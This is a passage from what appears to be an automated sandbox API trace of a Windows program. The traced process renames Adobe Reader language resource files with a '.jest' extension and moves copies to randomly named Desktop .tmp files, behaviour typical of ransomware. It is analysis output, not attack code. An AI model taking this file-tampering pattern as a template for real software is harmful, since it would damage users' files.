lpWideCharStr=0x0) returned 112 [0151.172] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳畨䡟⹕硴⹴敪瑳") returned 0x70 [0151.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=113, lpWideCharStr=0x144ddec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt.jest") returned 113 [0151.173] VarBstrFromR4 (in: fltIn=0x4794506f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.87") returned 0x0 [0151.173] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.173] CoFreeUnusedLibraries () [0151.173] GetTickCount () returned 0x1157907 [0151.173] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.174] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.174] GetTickCount () returned 0x1157907 [0151.174] IsWindowVisible (hWnd=0x30268) returned 0 [0151.174] Sleep (dwMilliseconds=0x0) [0151.175] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu_hu.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2h4W34czVZBtF56TEsDFluv4S0SYZQLhoprcqC7eucPGbi4iPtWzeZwao- PqbxTyKKBsIcZ6r0ZJoGsmXTXEyfY8IUzwm81nMcip.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2h4w34czvzbtf56tesdfluv4s0syzqlhoprcqc7eucpgbi4iptwzezwao- pqbxtykkbsicz6r0zjogsmxtxeyfy8iuzwm81nmcip.tmp")) returned 0 [0151.175] GetLastError () returned 0x2 [0151.175] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.175] CoFreeUnusedLibraries () [0151.175] GetTickCount () returned 0x1157907 [0151.175] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.175] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.175] GetTickCount () returned 0x1157907 [0151.176] IsWindowVisible (hWnd=0x30268) returned 0 [0151.176] Sleep (dwMilliseconds=0x0) [0151.177] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr.txt.jest")) returned 1 [0151.178] GetLastError () returned 0x0 [0151.178] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汥䝟⹒硴t") returned 0x6b [0151.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.178] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汥䝟⹒硴t") returned 0x6b [0151.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=108, lpWideCharStr=0x144ddec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt") returned 108 [0151.178] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汥䝟⹒硴⹴敪瑳") returned 0x70 [0151.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.178] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汥䝟⹒硴⹴敪瑳") returned 0x70 [0151.178] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=113, lpWideCharStr=0x1445ffc, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt.jest") returned 113 [0151.179] VarBstrFromR4 (in: fltIn=0x4794506f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.87") returned 0x0 [0151.179] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.179] CoFreeUnusedLibraries () [0151.179] GetTickCount () returned 0x1157907 [0151.179] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.179] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.179] GetTickCount () returned 0x1157907 [0151.180] IsWindowVisible (hWnd=0x30268) returned 0 [0151.180] Sleep (dwMilliseconds=0x0) [0151.181] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DhPZXhkibCFxWxr0Yuy0zSWUeewIirux4Ggxiv-oNsZFzwPyEJVZJb0l4DD5ZK2W70kDC3d3bR4S9p764_Z265liOcX7mrymv0YC4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dhpzxhkibcfxwxr0yuy0zswueewiirux4ggxiv-onszfzwpyejvzjb0l4dd5zk2w70kdc3d3br4s9p764_z265liocx7mrymv0yc4.tmp")) returned 0 [0151.181] GetLastError () returned 0x2 [0151.181] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.182] CoFreeUnusedLibraries () [0151.182] GetTickCount () returned 0x1157907 [0151.182] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.182] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.182] GetTickCount () returned 0x1157907 [0151.182] IsWindowVisible (hWnd=0x30268) returned 0 [0151.182] Sleep (dwMilliseconds=0x0) [0151.183] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el.txt.jest")) returned 1 [0151.184] GetLastError () returned 0x0 [0151.184] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汥琮瑸") returned 0x68 [0151.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.184] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汥琮瑸") returned 0x68 [0151.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ebf4, cbMultiByte=105, lpWideCharStr=0x1445ffc, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt") returned 105 [0151.184] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汥琮瑸樮獥t") returned 0x6d [0151.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.184] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汥琮瑸樮獥t") returned 0x6d [0151.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=110, lpWideCharStr=0x146c82c, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt.jest") returned 110 [0151.185] VarBstrFromR4 (in: fltIn=0x4794506f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.87") returned 0x0 [0151.185] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.185] CoFreeUnusedLibraries () [0151.185] GetTickCount () returned 0x1157907 [0151.185] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.185] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.185] GetTickCount () returned 0x1157907 [0151.185] IsWindowVisible (hWnd=0x30268) returned 0 [0151.186] Sleep (dwMilliseconds=0x0) [0151.187] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\soOMor5RU4IIo7Ei1BzzP-1iD0PEPjK982KzZMw6nnXlWit2LkHXIPlSoScc83jFWhY1yiL3QwpX54Cc5s8 XC4dWWx 4AGx9lEW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\soomor5ru4iio7ei1bzzp-1id0pepjk982kzzmw6nnxlwit2lkhxiplsoscc83jfwhy1yil3qwpx54cc5s8 xc4dwwx 4agx9lew.tmp")) returned 0 [0151.187] GetLastError () returned 0x2 [0151.187] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.187] CoFreeUnusedLibraries () [0151.187] GetTickCount () returned 0x1157907 [0151.187] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.187] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.187] GetTickCount () returned 0x1157907 [0151.187] IsWindowVisible (hWnd=0x30268) returned 0 [0151.188] Sleep (dwMilliseconds=0x0) [0151.189] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr_preeuro.txt.jest")) returned 1 [0151.191] GetLastError () returned 0x0 [0151.191] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汥䝟归剐䕅剕⹏硴t") returned 0x73 [0151.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=115, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 115 [0151.191] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汥䝟归剐䕅剕⹏硴t") returned 0x73 [0151.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=116, lpWideCharStr=0x144bb04, cchWideChar=231 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt") returned 116 [0151.191] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汥䝟归剐䕅剕⹏硴⹴敪瑳") returned 0x78 [0151.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=120, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 120 [0151.191] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳汥䝟归剐䕅剕⹏硴⹴敪瑳") returned 0x78 [0151.191] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=121, lpWideCharStr=0x146c82c, cchWideChar=241 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt.jest") returned 121 [0151.192] VarBstrFromR4 (in: fltIn=0x47945071, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.88") returned 0x0 [0151.192] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.192] CoFreeUnusedLibraries () [0151.192] GetTickCount () returned 0x1157917 [0151.192] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.192] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.192] GetTickCount () returned 0x1157917 [0151.192] IsWindowVisible (hWnd=0x30268) returned 0 [0151.192] Sleep (dwMilliseconds=0x0) [0151.194] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr_preeuro.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ys1RmeHC-Abjl0DgkLI2hjIiLlya5Z33JN-xev-CKgJRIB_gmUVnDzYg29DOkHSnCuI71J9Bm WhLGJpeGr3rXdIa9UrFnNGibj9o.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ys1rmehc-abjl0dgkli2hjiillya5z33jn-xev-ckgjrib_gmuvndzyg29dokhsncui71j9bm whlgjpegr3rxdia9urfnngibj9o.tmp")) returned 0 [0151.194] GetLastError () returned 0x2 [0151.194] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.194] CoFreeUnusedLibraries () [0151.194] GetTickCount () returned 0x1157917 [0151.194] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.194] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.194] GetTickCount () returned 0x1157917 [0151.195] IsWindowVisible (hWnd=0x30268) returned 0 [0151.195] Sleep (dwMilliseconds=0x0) [0151.196] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he.txt.jest")) returned 1 [0151.197] GetLastError () returned 0x0 [0151.197] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敨琮瑸") returned 0x68 [0151.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.197] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敨琮瑸") returned 0x68 [0151.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144eaec, cbMultiByte=105, lpWideCharStr=0x146c82c, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt") returned 105 [0151.197] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敨琮瑸樮獥t") returned 0x6d [0151.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.197] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敨琮瑸樮獥t") returned 0x6d [0151.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=110, lpWideCharStr=0x1467bd4, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt.jest") returned 110 [0151.197] VarBstrFromR4 (in: fltIn=0x47945071, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.88") returned 0x0 [0151.198] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.198] CoFreeUnusedLibraries () [0151.198] GetTickCount () returned 0x1157917 [0151.198] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.198] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.198] GetTickCount () returned 0x1157917 [0151.198] IsWindowVisible (hWnd=0x30268) returned 0 [0151.198] Sleep (dwMilliseconds=0x0) [0151.199] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\S-Rybe5EXS3R958KwrIX9vZLib7sCsSH30b78vWIQ0l8rEwrpUdFupFHuvYAuNU0yJPN0QzYFEIrj27iIc C YMfHRAcLO3OePGB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\s-rybe5exs3r958kwrix9vzlib7scssh30b78vwiq0l8rewrpudfupfhuvyaunu0yjpn0qzyfeirj27iic c ymfhraclo3oepgb.tmp")) returned 0 [0151.199] GetLastError () returned 0x2 [0151.200] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.200] CoFreeUnusedLibraries () [0151.200] GetTickCount () returned 0x1157917 [0151.200] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.200] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.200] GetTickCount () returned 0x1157917 [0151.200] IsWindowVisible (hWnd=0x30268) returned 0 [0151.200] Sleep (dwMilliseconds=0x0) [0151.201] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he_il.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he_il.txt.jest")) returned 1 [0151.202] GetLastError () returned 0x0 [0151.202] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敨䥟⹌硴t") returned 0x6b [0151.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.202] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敨䥟⹌硴t") returned 0x6b [0151.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144ddec, cbMultiByte=108, lpWideCharStr=0x1445ffc, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt") returned 108 [0151.202] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敨䥟⹌硴⹴敪瑳") returned 0x70 [0151.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.202] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳敨䥟⹌硴⹴敪瑳") returned 0x70 [0151.202] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt.jest") returned 113 [0151.203] VarBstrFromR4 (in: fltIn=0x47945071, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.88") returned 0x0 [0151.203] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.203] CoFreeUnusedLibraries () [0151.203] GetTickCount () returned 0x1157917 [0151.203] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.203] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.203] GetTickCount () returned 0x1157917 [0151.203] IsWindowVisible (hWnd=0x30268) returned 0 [0151.203] Sleep (dwMilliseconds=0x0) [0151.205] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he_il.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\23YDdJvQOYLLQcTsOR5yDOP8r4t24A -JkHNhiV8qOULvQH-N2_qtKk6YGSbY-KNCP-iDEtJEppWHKpWJ3IlfokId4q1rslPuwBzx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\23yddjvqoyllqctsor5ydop8r4t24a -jkhnhiv8qoulvqh-n2_qtkk6ygsby-kncp-idetjeppwhkpwj3ilfokid4q1rslpuwbzx.tmp")) returned 0 [0151.205] GetLastError () returned 0x2 [0151.205] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 